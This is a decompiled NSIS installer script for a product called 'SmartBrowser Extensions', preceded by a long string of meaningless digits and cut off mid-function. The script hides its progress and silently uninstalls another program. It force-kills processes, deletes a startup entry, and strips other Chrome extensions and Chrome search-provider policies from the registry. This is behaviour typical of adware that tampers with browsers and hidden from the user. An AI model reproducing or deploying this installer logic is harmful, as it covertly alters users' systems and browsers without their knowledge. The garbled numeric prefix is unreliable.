0222202232022420225202262022720228202292023020231202322023320234202352023620237202382023920240202412024220243202442024520246202472024820249202502025120252202532025420255202562025720258202592026020261202622026320264202652026620267202682026920270202712027220273202742027520276202772027820279202802028120282202832028420285202862028720288202892029020291202922029320294202952029620297202982029920300203012030220303203042030520306203072030820309203102031120312203132031420315203162031720318203192032020321203222032320324203252032620327203282032920330203312033220333203342033520336203372033820339203402034120342203432034420345203462034720348203492035020351203522035320354203552035620357203582035920360203612036220363203642036520366203672036820369203702037120372203732037420375203762037720378203792038020381203822038320384203852038620387203882038920390203912039220393203942039520396203972039820399204002040120402204032040420405204062040720408204092041020411204122041320414204152041620417204182041920420204212042220423204242042520426204272042820429204302043120432204332043420435204362043720438204392044020441204422044320444204452044620447204482044920450204512045220453204542045520456204572045820459204602046120462204632046420465204662046720468204692047020471204722047320474204752047620477204782047920480204812048220483204842048520486204872048820489204902049120492204932049420495204962049720498204992050020501205022050320504205052050620507205082050920510205112051220513205142051520516205172051820519205202052120522205232052420525205262052720528205292053020531205322053320534205352053620537205382053920540205412054220543205442054520546205472054820549205502055120552205532055420555205562055720558205592056020561205622056320564205652056620567205682056920570205712057220573205742057520576205772057820579205802058120582205832058420585205862058720588205892059020591205922059320594205952059620597205982059920600206012060220603206042060520606206072060820609206102061120612206132061420615206162061720618206192062020621206222062320624206252062620627206282062920630206312063220633206342063520636206372063820639206402064120642206432064420645206462064720648206492065020651206522065320654206552065620657206582065920660206612066220663206642066520666206672066820669206702067120672206732067420675206762067720678206792068020681206822068320684206852068620687206882068920690206912069220693206942069520696206972069820699207002070120702207032070420705207062070720708207092071020711207122071320714207152071620717207182071920720207212072220723207242072520726207272072820729207302073120732207332073420735207362073720738207392074020741207422074320744207452074620747207482074920750207512075220753207542075520756207572075820759207602076120762207632076420765207662076720768207692077020771207722077320774207752077620777207782077920780207812078220783207842078520786207872078820789207902079120792207932079420795207962079720798207992080020801208022080320804208052080620807208082080920810208112081220813208142081520816208172081820819208202082120822208232082420825208262082720828208292083020831208322083320834208352083620837208382083920840208412084220843208442084520846208472084820849208502085120852208532085420855208562085720858208592086020861208622086320864208652086620867208682086920870208712087220873208742087520876208772087820879208802088120882208832088420885208862088720888208892089020891208922089320894208952089620897208982089920900209012090220903209042090520906209072090820909209102091120912209132091420915209162091720918209192092020921209222092320924209252092620927209282092920930209312093220933209342093520936209372093820939209402094120942209432094420945209462094720948209492095020951209522095320954209552095620957209582095920960209612096220963209642096520966209672096820969209702097120972209732097420975209762097720978209792098020981209822098320984209852098620987209882098920990209912099220993209942099520996209972099820999210002100121002210032100421005210062100721008210092101021011210122101321014210152101621017210182101921020210212102221023210242102521026210272102821029210302103121032210332103421035210362103721038210392104021041210422104321044210452104621047210482104921050210512105221053210542105521056210572105821059210602106121062210632106421065210662106721068210692107021071210722107321074210752107621077210782107921080210812108221083210842108521086210872108821089210902109121092210932109421095210962109721098210992110021101211022110321104211052110621107211082110921110211112111221113211142111521116211172111821119211202112121122211232112421125211262112721128211292113021131211322113321134211352113621137211382113921140211412114221143211442114521146211472114821149211502115121152211532115421155211562115721158211592116021161211622116321164211652116621167211682116921170211712117221173211742117521176211772117821179211802118121182211832118421185211862118721188211892119021191211922119321194211952119621197211982119921200212012120221203212042120521206212072120821209212102121121212212132121421215212162121721218212192122021221212222122321224212252122621227212282122921230212312123221233212342123521236212372123821239212402124121242212432124421245212462124721248212492125021251212522125321254212552125621257212582125921260212612126221263212642126521266212672126821269212702127121272212732127421275212762127721278212792128021281212822128321284212852128621287212882128921290212912129221293212942129521296212972129821299213002130121302213032130421305213062130721308213092131021311213122131321314213152131621317213182131921320213212132221323213242132521326213272132821329213302133121332213332133421335213362133721338213392134021341213422134321344213452134621347213482134921350213512135221353213542135521356213572135821359213602136121362213632136421365213662136721368213692137021371213722137321374213752137621377213782137921380213812138221383213842138521386213872138821389213902139121392213932139421395213962139721398213992140021401214022140321404214052140621407214082140921410214112141221413214142141521416214172141821419214202142121422214232142421425214262142721428214292143021431214322143321434214352143621437214382143921440214412144221443214442144521446214472144821449214502145121452214532145421455214562145721458214592146021461214622146321464214652146621467214682146921470214712147221473214742147521476214772147821479214802148121482214832148421485214862148721488214892149021491214922149321494214952149621497214982149921500215012150221503215042150521506215072150821509215102151121512215132151421515215162151721518215192152021521215222152321524215252152621527215282152921530215312153221533215342153521536215372153821539215402154121542215432154421545215462154721548215492155021551215522155321554215552155621557215582155921560215612156221563215642156521566215672156821569215702157121572215732157421575215762157721578215792158021581215822158321584215852158621587215882158921590215912159221593215942159521596215972159821599216002160121602216032160421605216062160721608216092161021611216122161321614216152161621617216182161921620216212162221623216242162521626216272162821629216302163121632216332163421635216362163721638216392164021641216422164321644216452164621647216482164921650216512165221653216542165521656216572165821659216602166121662216632166421665216662166721668216692167021671216722167321674216752167621677216782167921680216812168221683216842168521686216872168821689216902169121692216932169421695216962169721698216992170021701217022170321704217052170621707217082170921710217112171221713217142171521716217172171821719217202172121722217232172421725217262172721728217292173021731217322173321734217352173621737217382173921740217412174221743217442174521746217472174821749217502175121752217532175421755217562175721758217592176021761217622176321764217652176621767217682176921770217712177221773217742177521776217772177821779217802178121782217832178421785217862178721788217892179021791217922179321794217952179621797217982179921800218012180221803218042180521806218072180821809218102181121812218132181421815218162181721818218192182021821218222182321824218252182621827218282182921830218312183221833218342183521836218372183821839218402184121842218432184421845218462184721848218492185021851218522185321854218552185621857218582185921860218612186221863218642186521866218672186821869218702187121872218732187421875218762187721878218792188021881218822188321884218852188621887218882188921890218912189221893218942189521896218972189821899219002190121902219032190421905219062190721908219092191021911219122191321914219152191621917219182191921920219212192221923219242192521926219272192821929219302193121932219332193421935219362193721938219392194021941219422194321944219452194621947219482194921950219512195221953219542195521956219572195821959219602196121962219632196421965219662196721968219692197021971219722197321974219752197621977219782197921980219812198221983219842198521986219872198821989219902199121992219932199421995219962199721998219992200022001220022200322004220052200622007220082200922010220112201222013220142201522016220172201822019220202202122022220232202422025220262202722028220292203022031220322203322034220352203622037220382203922040220412204222043220442204522046220472204822049220502205122052220532205422055220562205722058220592206022061220622206322064220652206622067220682206922070220712207222073220742207522076220772207822079220802208122082220832208422085220862208722088220892209022091220922209322094220952209622097220982209922100221012210222103221042210522106221072210822109221102211122112221132211422115221162211722118221192212022121221222212322124221252212622127221282212922130221312213222133221342213522136221372213822139221402214122142221432214422145221462214722148221492215022151221522215322154221552215622157221582215922160221612216222163221642216522166221672216822169221702217122172221732217422175221762217722178221792218022181221822218322184221852218622187221882218922190221912219222193221942219522196221972219822199222002220122202222032220422205222062220722208222092221022211222122221322214222152221622217222182221922220222212222222223222242222522226222272222822229222302223122232222332223422235222362223722238222392224022241222422224322244222452224622247222482224922250222512225222253222542225522256222572225822259222602226122262222632226422265222662226722268222692227022271222722227322274222752227622277222782227922280222812228222283222842228522286222872228822289222902229122292222932229422295222962229722298222992230022301223022230322304223052230622307223082230922310223112231222313223142231522316223172231822319223202232122322223232232422325223262232722328223292233022331223322233322334223352233622337223382233922340223412234222343223442234522346223472234822349223502235122352223532235422355223562235722358223592236022361223622236322364223652236622367223682236922370223712237222373223742237522376223772237822379223802238122382223832238422385223862238722388223892239022391223922239322394223952239622397223982239922400224012240222403224042240522406224072240822409224102241122412224132241422415224162241722418224192242022421224222242322424224252242622427224282242922430224312243222433224342243522436224372243822439224402244122442224432244422445224462244722448224492245022451224522245322454224552245622457224582245922460224612246222463224642246522466224672246822469224702247122472224732247422475224762247722478224792248022481224822248322484224852248622487224882248922490224912249222493224942249522496224972249822499225002250122502225032250422505225062250722508225092251022511225122251322514225152251622517225182251922520225212252222523225242252522526225272252822529225302253122532225332253422535225362253722538225392254022541225422254322544225452254622547225482254922550225512255222553225542255522556225572255822559225602256122562225632256422565225662256722568225692257022571225722257322574225752257622577225782257922580225812258222583225842258522586225872258822589225902259122592225932259422595225962259722598225992260022601226022260322604226052260622607226082260922610226112261222613226142261522616226172261822619226202262122622226232262422625226262262722628226292263022631226322263322634226352263622637226382263922640226412264222643226442264522646226472264822649226502265122652226532265422655226562265722658226592266022661226622266322664226652266622667226682266922670226712267222673226742267522676226772267822679226802268122682226832268422685226862268722688226892269022691226922269322694226952269622697226982269922700227012270222703227042270522706227072270822709227102271122712227132271422715227162271722718227192272022721227222272322724227252272622727227282272922730227312273222733227342273522736227372273822739227402274122742227432274422745227462274722748227492275022751227522275322754227552275622757227582275922760227612276222763227642276522766227672276822769227702277122772227732277422775227762277722778227792278022781227822278322784227852278622787227882278922790227912279222793227942279522796227972279822799228002280122802228032280422805228062280722808228092281022811228122281322814228152281622817228182281922820228212282222823228242282522826228272282822829228302283122832228332283422835228362283722838228392284022841228422284322844228452284622847228482284922850228512285222853228542285522856228572285822859228602286122862228632286422865228662286722868228692287022871228722287322874228752287622877228782287922880228812288222883228842288522886228872288822889228902289122892228932289422895228962289722898228992290022901229022290322904229052290622907229082290922910229112291222913229142291522916229172291822919229202292122922229232292422925229262292722928229292293022931229322293322934229352293622937229382293922940229412294222943229442294522946229472294822949229502295122952229532295422955229562295722958229592296022961229622296322964229652296622967229682296922970229712297222973229742297522976229772297822979229802298122982229832298422985229862298722988229892299022991229922299322994229952299622997229982299923000230012300223003230042300523006230072300823009230102301123012230132301423015230162301723018230192302023021230222302323024230252302623027230282302923030230312303223033230342303523036230372303823039230402304123042230432304423045230462304723048230492305023051230522305323054230552305623057230582305923060230612306223063230642306523066230672306823069230702307123072230732307423075230762307723078230792308023081230822308323084230852308623087230882308923090230912309223093230942309523096230972309823099231002310123102231032310423105231062310723108231092311023111231122311323114231152311623117231182311923120231212312223123231242312523126231272312823129231302313123132231332313423135231362313723138231392314023141231422314323144231452314623147231482314923150231512315223153231542315523156231572315823159231602316123162231632316423165231662316723168231692317023171231722317323174231752317623177231782317923180231812318223183231842318523186231872318823189231902319123192231932319423195231962319723198231992320023201232022320323204232052320623207232082320923210232112321223213232142321523216232172321823219232202322123222232232322423225232262322723228232292323023231232322323323234232352323623237232382323923240232412324223243232442324523246232472324823249232502325123252232532325423255232562325723258232592326023261232622326323264232652326623267232682326923270232712327223273232742327523276232772327823279232802328123282232832328423285232862328723288232892329023291232922329323294232952329623297232982329923300233012330223303233042330523306233072330823309233102331123312233132331423315233162331723318233192332023321233222332323324233252332623327233282332923330233312333223333233342333523336233372333823339233402334123342233432334423345233462334723348233492335023351233522335323354233552335623357233582335923360233612336223363233642336523366233672336823369233702337123372233732337423375233762337723378233792338023381233822338323384233852338623387233882338923390233912339223393233942339523396233972339823399234002340123402234032340423405234062340723408234092341023411234122341323414234152341623417234182341923420234212342223423234242342523426234272342823429234302343123432234332343423435234362343723438234392344023441234422344323444234452344623447234482344923450234512345223453234542345523456234572345823459234602346123462234632346423465234662346723468234692347023471234722347323474234752347623477234782347923480234812348223483234842348523486234872348823489234902349123492234932349423495234962349723498234992350023501235022350323504235052350623507235082350923510235112351223513235142351523516235172351823519235202352123522235232352423525235262352723528235292353023531235322353323534235352353623537235382353923540235412354223543235442354523546235472354823549235502355123552235532355423555235562355723558235592356023561235622356323564235652356623567235682356923570235712357223573235742357523576235772357823579235802358123582235832358423585235862358723588235892359023591235922359323594235952359623597235982359923600236012360223603236042360523606236072360823609236102361123612236132361423615236162361723618236192362023621236222362323624236252362623627236282362923630236312363223633236342363523636236372363823639236402364123642236432364423645236462364723648236492365023651236522365323654236552365623657236582365923660236612366223663236642366523666236672366823669236702367123672236732367423675236762367723678236792368023681236822368323684236852368623687236882368923690236912369223693236942369523696236972369823699237002370123702237032370423705237062370723708237092371023711237122371323714237152371623717237182371923720237212372223723237242372523726237272372823729237302373123732237332373423735237362373723738237392374023741237422374323744237452374623747237482374923750237512375223753237542375523756237572375823759237602376123762237632376423765237662376723768237692377023771237722377323774237752377623777237782377923780237812378223783237842378523786237872378823789237902379123792237932379423795237962379723798237992380023801238022380323804238052380623807238082380923810238112381223813238142381523816238172381823819238202382123822238232382423825238262382723828238292383023831238322383323834238352383623837238382383923840238412384223843238442384523846238472384823849238502385123852238532385423855238562385723858238592386023861238622386323864238652386623867238682386923870238712387223873238742387523876238772387823879238802388123882238832388423885238862388723888238892389023891238922389323894238952389623897238982389923900239012390223903239042390523906239072390823909239102391123912239132391423915239162391723918239192392023921239222392323924239252392623927239282392923930239312393223933239342393523936239372393823939239402394123942239432394423945239462394723948239492395023951239522395323954239552395623957239582395923960239612396223963239642396523966239672396823969239702397123972239732397423975239762397723978239792398023981239822398323984239852398623987239882398923990239912399223993239942399523996239972399823999240002400124002240032400424005240062400724008240092401024011240122401324014240152401624017240182401924020240212402224023240242402524026240272402824029240302403124032240332403424035240362403724038240392404024041240422404324044240452404624047240482404924050240512405224053240542405524056240572405824059240602406124062240632406424065240662406724068240692407024071240722407324074240752407624077240782407924080240812408224083240842408524086240872408824089240902409124092240932409424095240962409724098240992410024101241022410324104241052410624107241082410924110241112411224113241142411524116241172411824119241202412124122241232412424125241262412724128241292413024131241322413324134241352413624137241382413924140241412414224143241442414524146241472414824149241502415124152241532415424155241562415724158241592416024161241622416324164241652416624167241682416924170241712417224173241742417524176241772417824179241802418124182241832418424185241862418724188
; NSIS script NSIS-2
; Install
SetCompressor /SOLID lzma
SetCompressorDictSize 8
; --------------------
; HEADER SIZE: 701338
; START HEADER SIZE: 300
; MAX STRING LENGTH: 1024
; STRING CHARS: 156276
OutFile [NSIS].exe
!include WinMessages.nsh
ShowInstDetails nevershow
; --------------------
; LANG TABLES: 1
; LANG STRINGS: 57
Name "SmartBrowser Extensions 4.5.8.7879"
BrandingText " "
; LANG: 1033
LangString LSTR_0 1033 " "
LangString LSTR_1 1033 "Setup SmartBrowser Extensions 4.5.8.7879"
LangString LSTR_2 1033 "SmartBrowser Extensions 4.5.8.7879"
LangString LSTR_5 1033 "Can't write: "
LangString LSTR_6 1033 "Copy failed"
LangString LSTR_7 1033 "Copy to "
LangString LSTR_8 1033 "Could not find symbol: "
LangString LSTR_9 1033 "Could not load: "
LangString LSTR_10 1033 "Create folder: "
LangString LSTR_11 1033 "Create shortcut: "
LangString LSTR_12 1033 "Created uninstaller: "
LangString LSTR_13 1033 "Delete file: "
LangString LSTR_14 1033 "Delete on reboot: "
LangString LSTR_15 1033 "Error creating shortcut: "
LangString LSTR_16 1033 "Error creating: "
LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?"
LangString LSTR_19 1033 "ExecShell: "
LangString LSTR_21 1033 "Extract: "
LangString LSTR_22 1033 "Extract: error writing to file "
LangString LSTR_23 1033 "Installer corrupted: invalid opcode"
LangString LSTR_24 1033 "No OLE for: "
LangString LSTR_25 1033 "Output folder: "
LangString LSTR_26 1033 "Remove folder: "
LangString LSTR_27 1033 "Rename on reboot: "
LangString LSTR_28 1033 "Rename: "
LangString LSTR_29 1033 "Skipped: "
LangString LSTR_30 1033 "Copy Details To Clipboard"
LangString LSTR_36 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file."
LangString LSTR_37 1033 Installing
LangString LSTR_38 1033 "Please wait while $(LSTR_56) is being installed."
LangString LSTR_39 1033 "Installation Complete"
LangString LSTR_40 1033 "Setup was completed successfully."
LangString LSTR_41 1033 "Installation Aborted"
LangString LSTR_42 1033 "Setup was not completed successfully."
LangString LSTR_43 1033 "MS Shell Dlg"
LangString LSTR_44 1033 8
LangString LSTR_45 1033 Custom
LangString LSTR_46 1033 Cancel
LangString LSTR_47 1033 "< &Back"
LangString LSTR_48 1033 "&Next >"
LangString LSTR_49 1033 "Click Next to continue."
LangString LSTR_50 1033 &Install
LangString LSTR_51 1033 "Click Install to start the installation."
LangString LSTR_52 1033 "Show &details"
LangString LSTR_53 1033 Completed
LangString LSTR_54 1033 " "
LangString LSTR_55 1033 &Close
LangString LSTR_56 1033 "SmartBrowser Extensions 4.5.8.7879"
; --------------------
; VARIABLES: 159
Var _0_
Var _1_
Var _2_
Var _3_
Var _4_
Var _5_
Var _6_
Var _7_
Var _8_
Var _9_
Var _10_
Var _11_
Var _12_
Var _13_
Var _14_
Var _15_
Var _16_
Var _17_
Var _18_
Var _19_
Var _20_
Var _21_
Var _22_
Var _23_
Var _24_
Var _25_
Var _26_
Var _27_
Var _28_
Var _29_
Var _30_
Var _31_
Var _32_
Var _33_
Var _34_
Var _35_
Var _36_
Var _37_
Var _38_
Var _39_
Var _40_
Var _41_
Var _42_
Var _43_
Var _44_
Var _45_
Var _46_
Var _47_
Var _48_
Var _49_
Var _50_
Var _51_
Var _52_
Var _53_
Var _54_
Var _55_
Var _56_
Var _57_
Var _58_
Var _59_
Var _60_
Var _61_
Var _62_
Var _63_
Var _64_
Var _65_
Var _66_
Var _67_
Var _68_
Var _69_
Var _70_
Var _71_
Var _72_
Var _73_
Var _74_
Var _75_
Var _76_
Var _77_
Var _78_
Var _79_
Var _80_
Var _81_
Var _82_
Var _83_
Var _84_
Var _85_
Var _86_
Var _87_
Var _88_
Var _89_
Var _90_
Var _91_
Var _92_
Var _93_
Var _94_
Var _95_
Var _96_
Var _97_
Var _98_
Var _99_
Var _100_
Var _101_
Var _102_
Var _103_
Var _104_
Var _105_
Var _106_
Var _107_
Var _108_
Var _109_
Var _110_
Var _111_
Var _112_
Var _113_
Var _114_
Var _115_
Var _116_
Var _117_
Var _118_
Var _119_
Var _120_
Var _121_
Var _122_
Var _123_
Var _124_
Var _125_
Var _126_
Var _127_
Var _128_
Var _129_
Var _130_
Var _131_
Var _132_
Var _133_
Var _134_
Var _135_
Var _136_
Var _137_
Var _138_
Var _139_
Var _140_
Var _141_
Var _142_
Var _143_
Var _144_
Var _145_
Var _146_
Var _147_
Var _148_
Var _149_
Var _150_
Var _151_
Var _152_
Var _153_
Var _154_
Var _155_
Var _156_
Var _157_
Var _158_
InstType $(LSTR_45) ; Custom
; wininit = $WINDIR\wininit.ini
; --------------------
; PAGES: 4
; Page 0
Page custom func_5154 "" /ENABLECANCEL
; Page 1
Page custom func_5214 "" /ENABLECANCEL
; Page 2
Page instfiles func_4500 func_4503 func_4509
CompletedText $(LSTR_53) ; Completed
DetailsButtonText $(LSTR_52) ; "Show &details"
/*
; Page 3
Page COMPLETED
*/
; --------------------
; SECTIONS: 1
; COMMANDS: 19399
Function func_0
Exch $0
; Push $0
; Exch
; Pop $0
Push $1
Push $2
StrCpy $2 1
label_6:
IntFmt $1 %c $2
StrCmpS $1 $0 0 label_10
StrCpy $0 $2
Goto label_13
label_10:
IntOp $2 $2 + 1
StrCmp $2 255 0 label_6
StrCpy $0 0
label_13:
Pop $2
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
FunctionEnd
Function func_19
Pop $R2
Pop $R0
StrCpy $R1 ""
StrLen $1 $R0
StrCpy $0 0
label_24:
IntCmp $0 $1 label_81 0 label_81
StrCpy $_12_ 0
StrCpy $5 $0
StrCpy $4 $R0 1 $5
Push $4
Call func_0
Pop $4
IntOp $_12_ $4 << 16
IntOp $5 $5 + 1
IntCmp $5 $1 label_47 0 label_47
StrCpy $4 $R0 1 $5
Push $4
Call func_0
Pop $4
IntOp $4 $4 << 8
IntOp $_12_ $_12_ + $4
IntOp $5 $5 + 1
IntCmp $5 $1 label_47 0 label_47
StrCpy $4 $R0 1 $5
Push $4
Call func_0
Pop $4
IntOp $_12_ $_12_ + $4
label_47:
IntOp $4 $_12_ >> 18
IntOp $4 $4 & 63
StrCpy $5 $R2 1 $4
StrCpy $R1 $R1$5
IntOp $4 $_12_ >> 12
IntOp $4 $4 & 63
StrCpy $5 $R2 1 $4
StrCpy $R1 $R1$5
StrCpy $6 $0
StrCpy $7 2
IntOp $6 $6 + 1
IntCmp $6 $1 label_64 0 label_64
IntOp $4 $_12_ >> 6
IntOp $4 $4 & 63
StrCpy $5 $R2 1 $4
StrCpy $R1 $R1$5
IntOp $7 $7 - 1
label_64:
IntOp $6 $6 + 1
IntCmp $6 $1 label_70 0 label_70
IntOp $4 $_12_ & 63
StrCpy $5 $R2 1 $4
StrCpy $R1 $R1$5
IntOp $7 $7 - 1
label_70:
IntCmp $7 0 label_77 label_77
label_71:
IntCmp $7 0 label_77 label_77
StrCpy $R1 $R1=
IntOp $7 $7 - 1
Goto label_71
Goto label_71
Goto label_77
label_77:
IntOp $0 $0 + 3
Goto label_24
Goto label_24
Goto label_81
label_81:
Push $R1
FunctionEnd
Function func_83
Push $9
Exch 2
Exch
Exch $0
; Push $0
; Exch
; Pop $0
Exch
Exch $1
; Push $1
; Exch
; Pop $1
Push $2
Push $3
Push $4
Push $5
Push $6
Push $7
Push $R0
Push $R1
Push $R2
Push $R3
Push $R4
Push $R5
Push $R6
Push $R7
Push $R8
Push $R9
StrCpy $9 ""
StrLen $2 $0
StrLen $3 $1
IntOp $3 $3 - 1
StrCpy $R0 4
StrCpy $5 0
Goto label_117
label_116:
IntOp $5 $5 + 1
label_117:
IntCmp $5 $3 0 0 label_157
StrCpy $7 $1 1 $5
StrCmp $7 = 0 label_122
Push 0
Goto label_133
label_122:
StrCpy $4 0
Goto label_125
label_124:
IntOp $4 $4 + 1
label_125:
IntCmp $4 $2 0 0 label_132
StrCpy $6 $0 1 $4
StrCmpS $6 $7 0 label_129
Goto label_132
label_129:
Goto label_124
Goto label_124
Goto label_132
label_132:
Push $4
label_133:
IntOp $R0 $R0 - 1
IntCmp $R0 0 0 label_154 label_154
Pop $R4
Pop $R3
Pop $R2
Pop $R1
IntOp $R5 $R1 << 2
IntOp $R6 $R2 >> 4
IntOp $R5 $R5 | $R6
IntFmt $R7 %c $R5
IntOp $R5 $R2 & 15
IntOp $R5 $R5 << 4
IntOp $R6 $R3 >> 2
IntOp $R5 $R5 | $R6
IntFmt $R8 %c $R5
IntOp $R5 $R3 & 3
IntOp $R5 $R5 << 6
IntOp $R5 $R5 | $R4
IntFmt $R9 %c $R5
StrCpy $9 $9$R7$R8$R9
StrCpy $R0 4
label_154:
Goto label_116
Goto label_116
Goto label_157
label_157:
Pop $R9
Pop $R8
Pop $R7
Pop $R6
Pop $R5
Pop $R4
Pop $R3
Pop $R2
Pop $R1
Pop $R0
Pop $7
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Pop $0
Exch $9
; Push $9
; Exch
; Pop $9
FunctionEnd
Function func_179
Exch $R0
; Push $R0
; Exch
; Pop $R0
Exch
Exch $R1
; Push $R1
; Exch
; Pop $R1
Exch
Exch 2
Exch $R2
; Push $R2
; Exch
; Pop $R2
Push $R3
Push $R4
Push $R5
Push $R6
Push $R7
Push $R8
StrCmp $R1 "" 0 label_199
Goto label_218
label_199:
StrLen $R3 $R0
StrLen $R4 $R1
StrLen $R5 $R2
StrCpy $R6 0
label_203:
StrCpy $R7 $R2 $R4 $R6
StrCmp $R7 $R1 0 label_212
StrCpy $R7 $R2 $R6
IntOp $R8 $R6 + $R4
StrCpy $R8 $R2 "" $R8
StrCpy $R2 $R7$R0$R8
StrLen $R5 $R2
IntOp $R6 $R6 + $R3
Goto label_215
label_212:
IntCmp $R6 $R5 0 label_214
Goto label_218
label_214:
IntOp $R6 $R6 + 1
label_215:
Goto label_203
Goto label_215
Goto label_218
label_218:
StrCpy $R0 $R2
Pop $R8
Pop $R7
Pop $R6
Pop $R5
Pop $R4
Pop $R3
Pop $R2
Pop $R1
Exch $R0
; Push $R0
; Exch
; Pop $R0
FunctionEnd
Function func_231
StrCpy $1 ""
nsExec::Exec "cmd /k msi$1exec /uninstall {00247531-BBE6-4444-8784-ECFF266C1112} /quiet"
; Call Initialize_____Plugins
; SetOverwrite off
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k msi$1exec /uninstall {00247531-BBE6-4444-8784-ECFF266C1112} /quiet"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FunctionEnd
Function func_238
Exch $1
; Push $1
; Exch
; Pop $1
IfFileExists $1 0 label_255
StrCpy $2 ""
StrCpy $3 ""
FindFirst $3 $2 $1\*.tmp
label_245:
StrCmp $2 "" label_253
nsExec::Exec "cmd /k taskkill /IM $\"$2$\" /f"
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $3 $2
Goto label_245
label_253:
FindClose $3
RMDir /r /REBOOTOK $1
label_255:
nsExec::ExecToStack "taskkill /fi $\"WINDOWTITLE eq Live Installer$\" /f"
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /fi $\"WINDOWTITLE eq Live Installer$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
FunctionEnd
Function func_261
SetShellVarContext current
Call func_19200
Call func_19215
IfFileExists $APPDATA\et 0 label_269
DeleteRegKey HKCU Software\Microsoft\Windows\CurrentVersion\Run\apphide
Call func_792
Sleep 3000
RMDir /r /REBOOTOK $APPDATA\et
label_269:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\ldhndahencefpagkkbaoaeigbjomkekj $0
IfErrors label_273
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\ldhndahencefpagkkbaoaeigbjomkekj
label_273:
ClearErrors
EnumRegKey $0 HKCU SOFTWARE\Google\Chrome\Extensions\ldhndahencefpagkkbaoaeigbjomkekj $0
IfErrors label_277
DeleteRegKey HKCU SOFTWARE\Google\Chrome\Extensions\ldhndahencefpagkkbaoaeigbjomkekj
label_277:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\phnlpdnedfcdlfghlilkbcbehmbmcagd $0
IfErrors label_281
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\phnlpdnedfcdlfghlilkbcbehmbmcagd
label_281:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\dmcaebpppkgaeajegijmjgkkplgaljlc $0
IfErrors label_285
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\dmcaebpppkgaeajegijmjgkkplgaljlc
label_285:
ClearErrors
EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderEnabled
IfErrors label_289
DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderEnabled
label_289:
ClearErrors
EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderInstantURL
IfErrors label_293
DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderInstantURL
label_293:
ClearErrors
EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderKeyword
IfErrors label_297
DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderKeyword
label_297:
ClearErrors
EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderName
IfErrors label_301
DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderName
label_301:
ClearErrors
EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderSearchURL
IfErrors label_305
DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderSearchURL
label_305:
ClearErrors
EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderSuggestURL
IfErrors label_309
DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderSuggestURL
label_309:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\fkjoahemngfldcokkeofepfhpfphkpjp $0
IfErrors label_313
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\fkjoahemngfldcokkeofepfhpfphkpjp
label_313:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\aliekcbgfjfobmdhalkinpphajmlhaei $0
IfErrors label_317
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\aliekcbgfjfobmdhalkinpphajmlhaei
label_317:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\nmpjlchjijbdlflkpnglbepmhjaejkjl $0
IfErrors label_321
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\nmpjlchjijbdlflkpnglbepmhjaejkjl
label_321:
ClearErrors
EnumRegKey $0 HKCU SOFTWARE\Google\Chrome\Extensions\nmpjlchjijbdlflkpnglbepmhjaejkjl $0
IfErrors label_325
DeleteRegKey HKCU SOFTWARE\Google\Chrome\Extensions\nmpjlchjijbdlflkpnglbepmhjaejkjl
label_325:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\nphbmanpfjfdngbaamhajooihmjacmfe $0
IfErrors label_329
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\nphbmanpfjfdngbaamhajooihmjacmfe
label_329:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\njppmddkfhcffdkkkeomojdheimcgkll $0
IfErrors label_333
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\njppmddkfhcffdkkkeomojdheimcgkll
label_333:
ClearErrors
EnumRegKey $0 HKCU SOFTWARE\Google\Chrome\Extensions\njppmddkfhcffdkkkeomojdheimcgkll $0
IfErrors label_337
DeleteRegKey HKCU SOFTWARE\Google\Chrome\Extensions\njppmddkfhcffdkkkeomojdheimcgkll
label_337:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\hcnmeapiiphhmfhfnngadeoglcaknipi $0
IfErrors label_341
